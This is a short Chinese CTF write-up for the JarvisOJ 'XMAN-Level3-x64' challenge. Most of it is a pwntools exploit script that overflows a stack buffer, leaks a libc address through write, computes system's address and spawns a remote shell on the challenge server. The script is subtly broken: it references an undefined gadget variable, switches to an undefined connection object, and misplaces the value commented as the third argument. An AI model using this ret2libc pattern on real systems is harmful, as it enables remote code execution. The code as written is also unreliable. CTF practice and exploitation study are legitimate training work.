XMAN-Level3-x64

这个题目和XMAN-Level2-x64考察目的是一样的,都是考察在x64中传参数的问题,这个题目是如何考察在x64中传多个参数。

由于本题目需要通过write泄漏实际地址,因此需要传递多个参数,rdx这个寄存器在程序中没有找到合适的gadget,但是通过调试会发现rdx这个值比较大,我们需要传入的也是一个较大的值便于进行write和read,这样就可以不用设置这样一个rdx的值。

还有个问题是在运行脚本的时候发现,目标机上程序调用的并不是给的那个库,而是libc.so.6。脚本如下:

from pwn import *
# p = process('./level3_x64')  # local
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# context.log_level = 'debug'
p = remote('pwn2.jarvisoj.com', 9883)  # remote
# libc = ELF('libc-2.19.so')  # remote
elf = ELF('./level3_x64')
# offest
readoffest = libc.symbols['read']
systemoffest = libc.symbols['system']
# plt
readplt = elf.plt['read']
writeplt = elf.plt['write']
# got
readgot = elf.got['read']
# addr
basebss = elf.bss()
rdiret = 0x00000000004006b3
rsiret = 0x00000000004006b1
vuladdr = 0x00000000004005E6
payload = "A"*136 
payload+= p64(rdiret) + p64(1) #write函数的第一个参数 
payload+= p64(rsiret) + p64(readgot) #write函数的第二个参数,待显示字符串的首地址
payload+= p64(8) #write函数的第三个参数,待显示字符串的字节数
payload+= p64(writeplt) + p64(vuladdr)
p.recvuntil('Input:\n')
# gdb.attach(p)
p.send(payload)
readaddr = u64(p.recv(8))
systemaddr = readaddr - readoffest + systemoffest
payload  = "A"*136 
payload += p64(rdiret) + p64(0) #read函数的第一个参数,stdin
payload += p64(rsi2ret) + p64(basebss)#read函数的第二个参数,待写入地址空间的首地址
payload += p64(888)  #read函数的第三个参数,待写入字符串的长度
payload += p64(readaddr)
payload += p64(rdiret) #read函数的第一个参数
payload += p64(basebss) #read函数的第二个参数,待写入地址空间的首地址 
payload += p64(systemaddr) 
sh.send(payload)
sh.send('/bin/sh\x00')
sh.interactive()
有钱的捧个钱场
0%